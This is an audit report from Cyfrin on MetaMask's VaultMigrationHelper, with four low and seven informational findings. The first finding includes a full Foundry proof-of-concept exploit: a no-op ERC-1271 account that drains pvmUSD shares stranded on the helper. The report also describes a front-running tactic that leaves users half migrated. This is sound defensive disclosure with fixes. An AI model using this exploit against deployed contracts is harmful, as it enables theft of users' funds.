

MetaMask Delegation Framework Vault Migration Helper (PR 212) Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Kage

Flint

October 15, 2026

Contents

1 About Cyfrin **2**

2 Disclaimer **2**

3 Risk Classification **2**

4 Protocol Summary **2**

5 Audit Scope **2**

6 Executive Summary **2**

7 Findings **5**

7.1 Low Risk . . . 5

7.1.1 `VaultMigrationHelper::premiumTransfer` can pay from stranded shares when the root skips transfer . . . 5

7.1.2 Migration legs remain redeemable through the public adapters, so a third party can execute one leg alone and leave a user half migrated . . . 14

7.1.3 `VaultMigrationHelper::migrateToBaseByDelegation` and `VaultMigrationHelper::migrateToPremiumByDelegation` deposit the pre-signed leaf amount, not the withdraw output . . . 15

7.1.4 `VaultMigrationHelper::premiumTransfer` pins the backend approval to the live balance, so inbound credits invalidate it . . . 16

7.2 Informational . . . 18

7.2.1 Premium transfers leave principal history stale . . . 18

7.2.2 Helper does not validate adapter pairing . . . 18

7.2.3 `VaultMigrationHelper::_verifyUserTransferSignature` binds the root's signature bytes instead of the root delegation, so destination approvals are not root-specific for some ERC-1271 accounts . . . 18

7.2.4 Consider signing the destination approval as EIP-712 typed data so wallets can display the recipient . . . 20

7.2.5 Consider using distinct errors for the different compliance failures in `VaultMigrationHelper::_verifyTransferCompliance` . . . 21

7.2.6 `DeployVaultMigrationHelper` deploys a helper that is inert until Veda grants it a role, and neither the script nor the contract checks any role prerequisite . . . 21

7.2.7 `VaultMigrationHelper` migration NatSpec does not state that the moved amount is read from the leaf's first caveat terms . . . 22

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the in-scope code being audited. Unless the scope explicitly notes otherwise, the review is limited to the application layer and does not extend to the correctness of API/SDK/execution environment implementations, compilers, standard and third-party libraries, underlying operating systems and hardware.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

`VaultMigrationHelper` coordinates migrations between MetaMask's base and premium Veda vault adapters. It executes a delegated withdrawal and deposit in one transaction, with batch variants for multiple migrations. It also transfers premium vault shares through the helper after checking a destination signature from the share owner and a compliance signature from the backend. Calls are permissionless; delegation chains, signatures, and Veda Teller roles supply authorization. The audit focused on the helper's asset flow, signature checks, and assumptions about its adapters and Teller configuration.

5 Audit Scope

The audit scope was limited to the following files:

```
src/helpers/VaultMigrationHelper.sol
```

6 Executive Summary

Over the course of 2 days, the Cyfrin team conducted an audit on the Delegation Framework Vault Migration Helper (PR 212) code provided by MetaMask. The findings consist of 4 Low severity issues with the remainder being informational.

The review focused on `VaultMigrationHelper`, which combines existing Veda adapter operations and adds a dual-approved premium-share transfer. The main findings concern the gap between signed intent and execution: a migration's deposit uses a pre-signed amount rather than the withdrawal output, and its two legs can still be redeemed separately through the public adapters. Premium transfers rely on the live share balance for compliance approval and do not verify that the delegated first hop actually funded the helper before it pays the recipient. These

conditions can leave a migration incomplete, invalidate a prepared transfer, or expose shares already stranded on the helper.

The most useful improvements are to verify received shares before forwarding them, constrain migration legs to the intended flow, and make amount and approval assumptions explicit to operators and users.

All issues raised in this review were either fixed or acknowledged, and Cyfrin verified all fixes as part of mitigation review.

Summary

Project Name	Delegation Framework Vault Migration Helper (PR 212)
Repository	delegation-framework
Commit	6c24a2b97444...
Fix Commit	43c721bb1513...
Audit Timeline	Oct 12th - Oct 13th, 2026
Methods	Manual Review

Issues Found

Severity	Found	Resolved	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	0	0	0
Low Risk	4	1	3
Informational	7	4	3
Gas Optimizations	0	0	0
Total	11	5	6

Summary of Findings

[L-1] `VaultMigrationHelper::premiumTransfer` can pay from stranded shares when the root skips transfer	Resolved
[L-2] Migration legs remain redeemable through the public adapters, so a third party can execute one leg alone and leave a user half migrated	Acknowledged
[L-3] `VaultMigrationHelper::migrateToBaseByDelegation` and `VaultMigrationHelper::migrateToPremiumByDelegation` deposit the pre-signed leaf amount, not the withdraw output	Acknowledged
[L-4] `VaultMigrationHelper::premiumTransfer` pins the backend approval to the live balance, so inbound credits invalidate it	Acknowledged
[I-1] Premium transfers leave principal history stale	Resolved

[I-2] Helper does not validate adapter pairing	Acknowledged
[I-3] `VaultMigrationHelper::_verifyUserTransferSignature` binds the root's signature bytes instead of the root delegation, so destination approvals are not root-specific for some ERC-1271 accounts	Resolved
[I-4] Consider signing the destination approval as EIP-712 typed data so wallets can display the recipient	Acknowledged
[I-5] Consider using distinct errors for the different compliance failures in `VaultMigrationHelper::_verifyTransferCompliance`	Resolved
[I-6] `DeployVaultMigrationHelper` deploys a helper that is inert until Veda grants it a role, and neither the script nor the contract checks any role prerequisite	Acknowledged
[I-7] `VaultMigrationHelper` migration NatSpec does not state that the moved amount is read from the leaf's first caveat terms	Resolved

7 Findings

7.1 Low Risk

7.1.1 `VaultMigrationHelper::premiumTransfer` can pay from stranded shares when the root skips transfer

Description: `VaultMigrationHelper::_premiumTransfer` reads `amount_ = vault_.balanceOf(from_)`, asks `DelegationManager.redeemDelegations` to transfer that amount to the helper, then forwards `amount_` to `to_`. It never checks whether the helper received the shares before forwarding them. If the root account skips or shortens the first transfer, `safeTransfer` can pay the shortfall from pvmUSD already stranded on the helper.

A custom contract root can satisfy both the root delegation and user destination signature checks through ERC-1271, yet return from `executeFromExecutor` without moving shares. `redeemDelegations` does not verify the transfer result. The backend signs the specified `from_`, `to_`, and `amount_`; it does not verify what the root account's code will transfer. An EIP-7702 account pointing to custom code may present the same behavior, but the PoC below uses a contract root.

Stranded shares are possible because the helper holds `transferAllowedRole` on the premium Teller and can receive a holder's pvmUSD directly. Its `withdrawEmergency` function explicitly supports recovering tokens sent by mistake, but there is no accounting boundary between those shares and the transfer being executed.

Exploit path, with stranded balance `S > 0` on the helper:

1. The attacker deploys a contract `A` that accepts ERC-1271 signatures but returns from `executeFromExecutor` without transferring, and arranges for `A` to hold `B <= S` pvmUSD.
2. The attacker obtains backend compliance approval for `(from = A, to = P, amount = B)`, where `P` is an attacker-controlled recipient. Whether the backend approves this custom account is an operational precondition.
3. The attacker supplies a root delegation accepted by `A` with no caveats and a signed leaf delegation from its operator to the helper. `A` can accept arbitrary bytes as its root and user signatures; no cryptographic signature from `A` is needed.
4. `redeemDelegations` returns while `A` keeps its `B` shares. The helper pays `B` from its stranded shares to `P` and emits `PremiumTransferExecuted(A, P, B)`.

Each repetition needs a fresh compliance approval because `usedComplianceSignatures` marks the digest used, and the deadline must be within the Teller's `complianceWindow` (3600 seconds at the fork block). The attacker keeps `B` throughout and can reuse that balance with new approvals until the stranded shares are exhausted. Each call can extract at most the smaller of `B` and the helper's remaining stranded balance.

Impact: An attacker takes pvmUSD that a holder sent to the helper by mistake before the owner recovers it with `withdrawEmergency`. Per approval, the loss is bounded by the smaller of the remaining stranded balance and the attacker's `from_` balance; with fresh approvals, the attacker can repeat the call until the stranded balance is exhausted. This requires both stranded shares and backend compliance approval for the attacker-controlled root account.

Other impacts of the same root cause:

- A root account that executes a transfer of less than `amount_` can still have `amount_` paid out in full, with the stranded balance covering the shortfall with third-party shares
- `PremiumTransferExecuted` reports `from_` as the source of `amount_` although `from_` sent nothing, so off-chain accounting built on the event is wrong
- The compliance approval still binds `from_`, `to_` and `amount_`, but the forwarded shares come from the helper's stranded balance, which neither the backend nor `from_` attested

Proof of Concept: The test uses the Monad fork fixture. Alice's premium deposit is moved to a victim EOA through the ordinary `premiumTransfer` flow, and the victim sends the shares to the helper by mistake. Carol's smaller position is moved to an attacker account whose `executeFromExecutor` does nothing. A caller then runs

`premiumTransfer` for the attacker account: the attacker account keeps its shares, the payee receives the same amount, and the helper's balance drops by it.

Save it as `test/MetaMask-pocs/PremiumTransferStrayBalance.t.sol`:

```
// SPDX-License-Identifier: MIT AND Apache-2.0
pragma solidity 0.8.23;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import { EncoderLib } from "../../src/libraries/EncoderLib.sol";
import { IComplianceVedaTeller } from "../../src/helpers/interfaces/IComplianceVedaTeller.sol";
import { IVedaTeller } from "../../src/helpers/interfaces/IVedaTeller.sol";
import { VedaAdapter } from "../../src/helpers/VedaAdapter.sol";
import { ComplianceVedaAdapter } from "../../src/helpers/ComplianceVedaAdapter.sol";
import { VaultMigrationHelper } from "../../src/helpers/VaultMigrationHelper.sol";
import { ERC20TransferAmountEnforcer } from "../../src/enforcers/ERC20TransferAmountEnforcer.sol";
import { RedeemerEnforcer } from "../../src/enforcers/RedeemerEnforcer.sol";
import { AllowedCalldataEnforcer } from "../../src/enforcers/AllowedCalldataEnforcer.sol";
import { AllowedTargetsEnforcer } from "../../src/enforcers/AllowedTargetsEnforcer.sol";
import { Delegation, Caveat, ModeCode } from "../../src/utils/Types.sol";
import { EntryPoint } from "@account-abstraction/core/EntryPoint.sol";
import { SimpleFactory } from "../../src/utils/SimpleFactory.sol";
import { DelegationManager } from "../../src/DelegationManager.sol";
import { HybridDeleGator } from "../../src/HybridDeleGator.sol";
import { MultiSigDeleGator } from "../../src/MultiSigDeleGator.sol";
import { EIP7702StatelessDeleGator } from "../../src/EIP7702/EIP7702StatelessDeleGator.sol";
import { BaseTest } from "../utils/BaseTest.t.sol";
import { Implementation, SignatureType, TestUser } from "../utils/Types.t.sol";

interface IRolesAuthority {
    function owner() external view returns (address);
    function setUserRole(address user, uint8 role, bool enabled) external;
    function setRoleCapability(uint8 role, address target, bytes4 functionSig, bool enabled) external;
}

interface ITellerConfiguration {
    function owner() external view returns (address);
    function setTransferRestrictions(uint8 transferAllowedRole, uint8 allowlistedRouterRole) external;
}

/// @dev Attacker-owned account: accepts any signature and never moves shares when the DelegationManager
↪  executes
contract NoOpAccount {
    function isValidSignature(bytes32, bytes calldata) external pure returns (bytes4) {
        return 0x1626ba7e;
    }

    function executeFromExecutor(ModeCode, bytes calldata) external payable returns (bytes[] memory) {
        return new bytes[](0);
    }
}

/// forge-config: default.evm_version = "cancun"
contract PremiumTransferStrayBalanceTest is BaseTest {
    IERC20 internal constant MUSD = IERC20(0xacA92E438df0B2401fF60dA7E4337B687a2435DA);
    IERC20 internal constant BASE_VAULT = IERC20(0xb4563bcD3B7764CCBf497f515585f70B6C3EA5Ae);
    IVedaTeller internal constant BASE_TELLER = IVedaTeller(0x2D49EA58A4C70b62c8B56DE971310d9e999c8117);

    IComplianceVedaTeller internal constant PREMIUM_TELLER =
    ↪  IComplianceVedaTeller(0xB0025a2eBc0474d4F28E975F0D3E70471246ebae);
    IERC20 internal constant PREMIUM_VAULT = IERC20(0xBFeC8c2b1ccea3931a1363E4CaC27352c1C908B7);
```

```
IRolesAuthority internal constant PREMIUM_ROLES_AUTHORITY =
↪  IRolesAuthority(0x00f0CF4f540D1d47470f565Ecb11a75E073c2dd0);

address internal constant MUSD_WHALE = 0x6cb5094cfe45Ee97938702637478fe7146A8FA0f;
uint8 internal constant COMPLIANCE_SIGNER_ROLE = 36;
uint8 internal constant TRANSFER_ALLOWED_ROLE = 37;
uint8 internal constant TEST_ROUTER_ROLE = 254;

uint256 internal constant INITIAL_MUSD_BALANCE = 100_000e6;
uint256 internal constant STRAY_DEPOSIT = 1_000e6;
uint256 internal constant ATTACKER_DEPOSIT = 100e6;
uint256 internal constant COMPLIANCE_SIGNER_KEY = 0xC011A11CE;

ERC20TransferAmountEnforcer internal erc20TransferAmountEnforcer;
RedeemerEnforcer internal redeemerEnforcer;
AllowedCalldataEnforcer internal allowedCalldataEnforcer;
AllowedTargetsEnforcer internal allowedTargetsEnforcer;
VedaAdapter internal baseAdapter;
ComplianceVedaAdapter internal premiumAdapter;
VaultMigrationHelper internal migrationHelper;
address internal adapterOwner;
address internal complianceSigner;

/// Same as `BaseTest::setUp` without etching the P256 verifier, because Monad already serves P256
↪  at that
/// precompile address and Foundry refuses to etch over a precompile
function _setUpBaseOnMonad() internal {
    entryPoint = new EntryPoint();
    simpleFactory = new SimpleFactory();
    delegationManager = new DelegationManager(makeAddr("DelegationManager Owner"));
    ROOT_AUTHORITY = delegationManager.ROOT_AUTHORITY();
    ANY_DELEGATE = delegationManager.ANY_DELEGATE();
    hybridDeleGatorImpl = new HybridDeleGator(delegationManager, entryPoint);
    multiSigDeleGatorImpl = new MultiSigDeleGator(delegationManager, entryPoint);
    eip7702StatelessDeleGatorImpl = new EIP7702StatelessDeleGator(delegationManager, entryPoint);
    users = _createUsers();
    bundler = payable(makeAddr("Bundler"));
    vm.deal(bundler, 100 ether);
}

function setUp() public override {
    vm.createSelectFork(vm.envString("MONAD_RPC_URL"), 112_476_736);

    IMPLEMENTATION = Implementation.Hybrid;
    SIGNATURE_TYPE = SignatureType.RawP256;
    _setUpBaseOnMonad();

    adapterOwner = makeAddr("VaultMigrationHelper Owner");
    complianceSigner = vm.addr(COMPLIANCE_SIGNER_KEY);
    erc20TransferAmountEnforcer = new ERC20TransferAmountEnforcer();
    redeemerEnforcer = new RedeemerEnforcer();
    allowedCalldataEnforcer = new AllowedCalldataEnforcer();
    allowedTargetsEnforcer = new AllowedTargetsEnforcer();

    baseAdapter =
        new VedaAdapter(adapterOwner, address(delegationManager), address(BASE_VAULT),
        ↪  address(BASE_TELLER), address(MUSD));
    premiumAdapter = new ComplianceVedaAdapter(
        adapterOwner, address(delegationManager), address(PREMIUM_VAULT), address(PREMIUM_TELLER),
        ↪  address(MUSD)
    );
    migrationHelper = new VaultMigrationHelper(adapterOwner, address(baseAdapter),
    ↪  address(premiumAdapter));
```

```
        _configurePremiumForkRoles();
        _fundUser(users.alice);
        _fundUser(users.carol);
    }

    function test_PoC_PremiumTransferStrayBalance() public {
        // premium holders obtained shares through the ordinary deposit and premiumTransfer flows
        address victim_ = makeAddr("victimEoa");
        NoOpAccount attacker_ = new NoOpAccount();
        address payee_ = makeAddr("attackerPayee");

        uint256 strayShares_ = _depositToPremium(users.alice, STRAY_DEPOSIT, 100, block.timestamp + 30
        ↪  minutes);
        _premiumTransferLegit(users.alice, victim_, strayShares_, 110, block.timestamp + 30 minutes);

        uint256 attackerShares_ = _depositToPremium(users.carol, ATTACKER_DEPOSIT, 120, block.timestamp
        ↪  + 30 minutes);
        _premiumTransferLegit(users.carol, address(attacker_), attackerShares_, 130, block.timestamp +
        ↪  30 minutes);
        assertEq(PREMIUM_VAULT.balanceOf(address(attacker_)), attackerShares_);
        assertLt(attackerShares_, strayShares_);

        // a holder sends pumUSD to the helper by mistake, the transfer hook allows it because the
        ↪  helper holds the role
        vm.prank(victim_);
        PREMIUM_VAULT.transfer(address(migrationHelper), strayShares_);
        assertEq(PREMIUM_VAULT.balanceOf(address(migrationHelper)), strayShares_);

        VaultMigrationHelper.PremiumTransferParams memory params_ =
            _attackerParams(address(attacker_), payee_, attackerShares_);

        address anyone_ = makeAddr("anyone");
        vm.prank(anyone_);
        migrationHelper.premiumTransfer(params_);

        // the attacker account still holds its shares and the payee received the same amount from the
        ↪  helper's stray balance
        assertEq(PREMIUM_VAULT.balanceOf(address(attacker_)), attackerShares_);
        assertEq(PREMIUM_VAULT.balanceOf(payee_), attackerShares_);
        assertEq(PREMIUM_VAULT.balanceOf(address(migrationHelper)), strayShares_ - attackerShares_);
    }

    function _attackerParams(
        address _attacker,
        address _payee,
        uint256 _amount
    )
        internal
        view
        returns (VaultMigrationHelper.PremiumTransferParams memory)
    {
        // attacker chain: root signed by the no-op account (any bytes pass), no caveats, leaf from the
        ↪  operator
        Caveat[] memory noCaveats_ = new Caveat[](0);
        Delegation memory root_ = Delegation({
            delegate: address(users.bob.deleGator),
            delegator: _attacker,
            authority: ROOT_AUTHORITY,
            caveats: noCaveats_,
            salt: 140,
            signature: hex"c0ffee"
        });
```

```
        Delegation memory leaf_ = Delegation({
            delegate: address(migrationHelper),
            delegator: address(users.bob.deleGator),
            authority: EncoderLib._getDelegationHash(root_),
            caveats: noCaveats_,
            salt: 140,
            signature: hex""
        });
        leaf_ = signDelegation(users.bob, leaf_);

        Delegation[] memory delegations_ = new Delegation[](2);
        delegations_[0] = leaf_;
        delegations_[1] = root_;

        // routine compliance approval for the attacker's own balance moving to the attacker's payee
        return VaultMigrationHelper.PremiumTransferParams({
            from: _attacker,
            to: _payee,
            delegations: delegations_,
            compliance: _transferComplianceData(_attacker, _payee, _amount, block.timestamp + 30
            ↪  minutes, COMPLIANCE_SIGNER_KEY),
            userSignature: hex"01"
        });
    }

    function _configurePremiumForkRoles() internal {
        address authorityOwner_ = PREMIUM_ROLES_AUTHORITY.owner();
        address tellerOwner_ = ITellerConfiguration(address(PREMIUM_TELLER)).owner();
        assertEq(authorityOwner_, tellerOwner_);

        vm.startPrank(authorityOwner_);
        PREMIUM_ROLES_AUTHORITY.setUserRole(complianceSigner, COMPLIANCE_SIGNER_ROLE, true);
        PREMIUM_ROLES_AUTHORITY.setUserRole(address(premiumAdapter), TRANSFER_ALLOWED_ROLE, true);
        PREMIUM_ROLES_AUTHORITY.setUserRole(address(migrationHelper), TRANSFER_ALLOWED_ROLE, true);
        PREMIUM_ROLES_AUTHORITY.setUserRole(address(premiumAdapter), TEST_ROUTER_ROLE, true);
        PREMIUM_ROLES_AUTHORITY.setRoleCapability(
            TEST_ROUTER_ROLE, address(PREMIUM_TELLER), IComplianceVedaTeller.withdraw.selector, true
        );
        ITellerConfiguration(address(PREMIUM_TELLER)).setTransferRestrictions(TRANSFER_ALLOWED_ROLE,
        ↪  TEST_ROUTER_ROLE);
        vm.stopPrank();
    }

    function _fundUser(TestUser memory _user) internal {
        vm.prank(MUSD_WHALE);
        require(MUSD.transfer(address(_user.deleGator), INITIAL_MUSD_BALANCE), "mUSD funding failed");
    }

    function _depositToPremium(
        TestUser memory _delegator,
        uint256 _amount,
        uint256 _salt,
        uint256 _deadline
    )
        internal
        returns (uint256 shares_)
    {
        uint256 sharesBefore_ = PREMIUM_VAULT.balanceOf(address(_delegator.deleGator));
        Delegation[] memory delegations_ =
            _createDelegationChain(_delegator, address(premiumAdapter), address(MUSD), _amount, _salt);
        IComplianceVedaTeller.ComplianceData memory compliance_ = _complianceData(_delegator, _amount,
        ↪  _deadline);
```

```
        vm.prank(address(users.bob.deleGator));
        premiumAdapter.depositByDelegation(delegations_, 0, compliance_);
        shares_ = PREMIUM_VAULT.balanceOf(address(_delegator.deleGator)) - sharesBefore_;
    }

    function _premiumTransferLegit(
        TestUser memory _delegator,
        address _to,
        uint256 _amount,
        uint256 _salt,
        uint256 _deadline
    )
        internal
    {
        address from_ = address(_delegator.deleGator);
        Delegation[] memory delegations_ = _createPremiumTransferChain(_delegator, _salt,
        ↪  address(migrationHelper));
        IComplianceVedaTeller.ComplianceData memory compliance_ =
            _transferComplianceData(from_, _to, _amount, _deadline, COMPLIANCE_SIGNER_KEY);
        bytes memory userSignature_ = _userTransferSignature(_delegator, _to, delegations_);
        VaultMigrationHelper.PremiumTransferParams memory params_ =
        ↪  VaultMigrationHelper.PremiumTransferParams({
            from: from_, to: _to, delegations: delegations_, compliance: compliance_, userSignature:
            ↪  userSignature_
        });

        vm.prank(address(users.bob.deleGator));
        migrationHelper.premiumTransfer(params_);
    }

    function _createDelegationChain(
        TestUser memory _delegator,
        address _adapter,
        address _token,
        uint256 _amount,
        uint256 _salt
    )
        internal
        view
        returns (Delegation[] memory delegations_)
    {
        Delegation memory root_ = _createTransferDelegation(_delegator, _adapter, _token,
        ↪  type(uint256).max, _salt);
        bytes32 authority_ = EncoderLib._getDelegationHash(root_);
        Delegation memory leaf_ = _createAdapterRedelegation(_adapter, authority_, _token, _amount,
        ↪  _salt);

        delegations_ = new Delegation[](2);
        delegations_[0] = leaf_;
        delegations_[1] = root_;
    }

    function _createTransferDelegation(
        TestUser memory _delegator,
        address _adapter,
        address _token,
        uint256 _amount,
        uint256 _salt
    )
        internal
        view
        returns (Delegation memory)
    {
```

```
        Caveat[] memory caveats_ = new Caveat[](2);
        caveats_[0] =
            Caveat({ args: hex"", enforcer: address(erc20TransferAmountEnforcer), terms:
            ↪  abi.encodePacked(_token, _amount) });
        caveats_[1] = Caveat({ args: hex"", enforcer: address(redeemerEnforcer), terms:
        ↪  abi.encodePacked(_adapter) });

        Delegation memory delegation_ = Delegation({
            delegate: address(users.bob.deleGator),
            delegator: address(_delegator.deleGator),
            authority: ROOT_AUTHORITY,
            caveats: caveats_,
            salt: _salt,
            signature: hex""
        });
        return signDelegation(_delegator, delegation_);
    }

    function _createAdapterRedelegation(
        address _adapter,
        bytes32 _authority,
        address _token,
        uint256 _amount,
        uint256 _salt
    )
        internal
        view
        returns (Delegation memory)
    {
        Caveat[] memory caveats_ = new Caveat[](1);
        caveats_[0] =
            Caveat({ args: hex"", enforcer: address(erc20TransferAmountEnforcer), terms:
            ↪  abi.encodePacked(_token, _amount) });

        Delegation memory delegation_ = Delegation({
            delegate: _adapter,
            delegator: address(users.bob.deleGator),
            authority: _authority,
            caveats: caveats_,
            salt: _salt,
            signature: hex""
        });
        return signDelegation(users.bob, delegation_);
    }

    function _createPremiumTransferChain(TestUser memory _delegator, uint256 _salt, address _calldataTo)
        internal
        view
        returns (Delegation[] memory delegations_)
    {
        Caveat[] memory rootCaveats_ = new Caveat[](3);
        rootCaveats_[0] =
            Caveat({ args: hex"", enforcer: address(redeemerEnforcer), terms:
            ↪  abi.encodePacked(address(migrationHelper)) });
        rootCaveats_[1] = Caveat({
            args: hex"",
            enforcer: address(allowedCalldataEnforcer),
            terms: abi.encodePacked(uint256(0), IERC20.transfer.selector, abi.encode(_calldataTo))
        });
        rootCaveats_[2] =
            Caveat({ args: hex"", enforcer: address(allowedTargetsEnforcer), terms:
            ↪  abi.encodePacked(address(PREMIUM_VAULT)) });
```

```
        Delegation memory root_ = Delegation({
            delegate: address(users.bob.deleGator),
            delegator: address(_delegator.deleGator),
            authority: ROOT_AUTHORITY,
            caveats: rootCaveats_,
            salt: _salt,
            signature: hex""
        });
        root_ = signDelegation(_delegator, root_);

        Caveat[] memory leafCaveats_ = new Caveat[](0);
        Delegation memory leaf_ = Delegation({
            delegate: address(migrationHelper),
            delegator: address(users.bob.deleGator),
            authority: EncoderLib._getDelegationHash(root_),
            caveats: leafCaveats_,
            salt: _salt,
            signature: hex""
        });
        leaf_ = signDelegation(users.bob, leaf_);

        delegations_ = new Delegation[](2);
        delegations_[0] = leaf_;
        delegations_[1] = root_;
    }

    function _userTransferSignature(
        TestUser memory _delegator,
        address _to,
        Delegation[] memory _delegations
    )
        internal
        view
        returns (bytes memory)
    {
        bytes32 messageHash_ = keccak256(
            abi.encode(
                address(migrationHelper),
                block.chainid,
                address(_delegator.deleGator),
                _to,
                _delegations[_delegations.length - 1].signature
            )
        );
        bytes32 ethSignedMessageHash_ = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
        ↪  messageHash_));
        return signHash(_delegator, ethSignedMessageHash_);
    }

    function _transferComplianceData(
        address _from,
        address _to,
        uint256 _amount,
        uint256 _deadline,
        uint256 _signerKey
    )
        internal
        view
        returns (IComplianceVedaTeller.ComplianceData memory)
    {
        bytes32 messageHash_ = keccak256(
            abi.encode(
                address(migrationHelper),
```

```
                address(PREMIUM_TELLER),
                block.chainid,
                _from,
                _to,
                address(PREMIUM_VAULT),
                _amount,
                _deadline
            )
        );
        bytes32 ethSignedMessageHash_ = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
        ↪  messageHash_));
        (uint8 v_, bytes32 r_, bytes32 s_) = vm.sign(_signerKey, ethSignedMessageHash_);
        return IComplianceVedaTeller.ComplianceData({ deadline: _deadline, signature:
        ↪  abi.encodePacked(r_, s_, v_) });
    }

    function _complianceData(
        TestUser memory _delegator,
        uint256 _amount,
        uint256 _deadline
    )
        internal
        view
        returns (IComplianceVedaTeller.ComplianceData memory)
    {
        bytes32 messageHash_ = keccak256(
            abi.encode(
                address(PREMIUM_TELLER),
                block.chainid,
                address(premiumAdapter),
                address(_delegator.deleGator),
                address(MUSD),
                _amount,
                _deadline
            )
        );
        bytes32 ethSignedMessageHash_ = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
        ↪  messageHash_));
        (uint8 v_, bytes32 r_, bytes32 s_) = vm.sign(COMPLIANCE_SIGNER_KEY, ethSignedMessageHash_);
        return IComplianceVedaTeller.ComplianceData({ deadline: _deadline, signature:
        ↪  abi.encodePacked(r_, s_, v_) });
    }
}
```

```
forge test --fork-url $MONAD_RPC_URL --match-test test_PoC_PremiumTransferStrayBalance -vvv
```

Recommended Mitigation: Require the helper's share balance to grow by at least `amount_` during redemption, so the second hop cannot spend shares the helper held before this call. Record its balance before `redeemDelegations` and check the gain before `safeTransfer`:

```
     error DelegatorMismatch();
+
+    /// @notice Thrown when the redeemed transfer did not deliver the approved shares to this helper
+    error PremiumTransferNotDelivered();

         IERC20 vault_ = IERC20(premiumAdapter.boringVault());
         uint256 amount_ = vault_.balanceOf(from_);
+        uint256 helperBefore_ = vault_.balanceOf(address(this));

 ...
         premiumAdapter.delegationManager().redeemDelegations(permissionContexts_, encodedModes_,
         ↪  executionCallDatas_);
```

```
+        if (vault_.balanceOf(address(this)) < helperBefore_ + amount_) {
+            revert PremiumTransferNotDelivered();
+        }
         vault_.safeTransfer(to_, amount_);
```

This check closes the reported stranded-balance drain: a no-op or short first hop cannot use shares the helper held before the call to cover a shortfall. It proves fresh receipt by the helper, not that the attested `from_` supplied those shares. A custom root could instead transfer shares from another approved payer; whether that source attribution is allowed is a separate policy decision. A strict `from_`-balance-decrease requirement needs care because an in-call credit to `from_` can mask an otherwise successful transfer. Forward only `amount_`, leaving any surplus recoverable through `withdrawEmergency`. Test the receipt invariant against supported custom-root and batched flows rather than assuming it accepts every legitimate execution.

The helper is not upgradeable, so this ships as a new `VaultMigrationHelper` deployment: Veda grants the new address `transferAllowedRole` on the premium Teller and revokes it from the old one, and users' premium-transfer delegations and destination signatures, which name the helper address, are re-created. Any pvmUSD already stranded on the deployed helper must be recovered by the old owner with `withdrawEmergency` before the old role is revoked, since it stays exposed there until then. Update the stray-balance proof of concept (`test/MetaMask-pocs/PremiumTransferStrayBalance.t.sol`) to expect a revert with `PremiumTransferNotDelivered`, and add a test that a partial-transfer root account reverts and that an ordinary `premiumTransfer` and `VaultMigrationHelper::premiumTransferBatch` still succeed.

MetaMask: Fixed in 61c8a42.

Cyfrin: Verified.

7.1.2 Migration legs remain redeemable through the public adapters, so a third party can execute one leg alone and leave a user half migrated

Description: A migration has two legs, each authorized by its own delegation chain:

- a withdrawal from the source vault;
- a deposit into the destination vault.

`VaultMigrationHelper` executes both legs in one transaction by calling the two adapters in sequence:

```
// src/helpers/VaultMigrationHelper.sol:393-394
baseAdapter.withdrawByDelegation(_params.withdrawalDelegations, _params.minimumAssets); // @audit also
↪  callable directly on the adapter
premiumAdapter.depositByDelegation(_params.depositDelegations, _params.minimumMint,
↪  _params.compliance); // @audit also callable directly on the adapter
```

The reverse migration does the same at `VaultMigrationHelper.sol:412-413`. The NatSpec describes the helper as one that "Atomically composes the existing base and premium Veda adapters" (`VaultMigrationHelper.sol:21`). The PR description states its purpose as follows: "Doing this as two user transactions would leave the user holding raw mUSD in between, exposed to a failed second leg and to the vault rate moving between them". It also says that "If the deposit reverts (compliance, slippage, delegation), the withdrawal reverts with it" (PR description, line 15).

Each helper transaction is atomic, but nothing ties the two legs to each other:

- **Adapter entry points are permissionless.** `withdrawByDelegation` and `depositByDelegation` have no access control (`VedaAdapter.sol:220, 265`, `ComplianceVedaAdapter.sol:244, 297`).
- **Each leg's delegation chain is scoped to its adapter, not to the helper.** The adapter is the leaf delegate and is named in the root's `RedeemerEnforcer` (`VaultMigrationHelper.sol:23`).
- `RedeemerEnforcer` **cannot tell the two paths apart.** It compares the address that calls the `DelegationManager` (`RedeemerEnforcer.sol:37-42`), and that address is the adapter whether the leg comes through the helper or directly.

A third party who observes a pending helper call can therefore copy either leg from its calldata and submit it directly to the adapter first. This uses up the leg's `ERC20TransferAmountEnforcer` allowance and, for the deposit leg, its one-time compliance approval. The helper call then reverts with `ERC20TransferAmountEnforcer:allowance-exceeded`, but the leg executed by the third party stands, and the user is left half migrated:

- **Withdrawal leg executed alone:** the user's base shares are redeemed to idle mUSD and the user is in neither vault.
- **Deposit leg executed alone:** the premium deposit is funded from the user's existing mUSD while the base position remains.

The failed migration cannot simply be resubmitted:

- Resubmitting both legs through the helper reverts again, because one leg is already used up.
- The helper has no entry point for a single leg.
- In a batch, dropping the failed stream and resubmitting the rest does not help the user whose stream was dropped, because that user stays half migrated.

To recover, the operator has to:

1. find out which leg was executed;
2. complete the other leg on its own, directly through the adapter;
3. do so before the deposit leg's compliance deadline, or obtain a new compliance approval after it.

The same mechanism was reported in the April 2026 `VedaAdapter` review (L-1 and L-2). However, the end state is meaningfully different since instead of reverting, it leaves the user half migrated.

Impact: No funds are lost: both adapters send outputs to the root delegator. However, for the cost of one transaction, a third party can leave a user half migrated, which is the state the helper exists to prevent. A failed transaction that could otherwise be resubmitted becomes a manual recovery of the remaining leg, under a compliance deadline. In a batch, every stream can be targeted this way.

Recommended Mitigation: Make the helper the only path that can redeem migration legs, as `premiumTransfer` already does. Two options are helper-only adapter entry points, or a helper that redeems both legs itself. Naming the helper in `RedeemerEnforcer` does not work while the adapter remains the direct `DelegationManager` caller.

MetaMask: Acknowledged. We rely on private mempool to mitigate this denial-of-service vector.

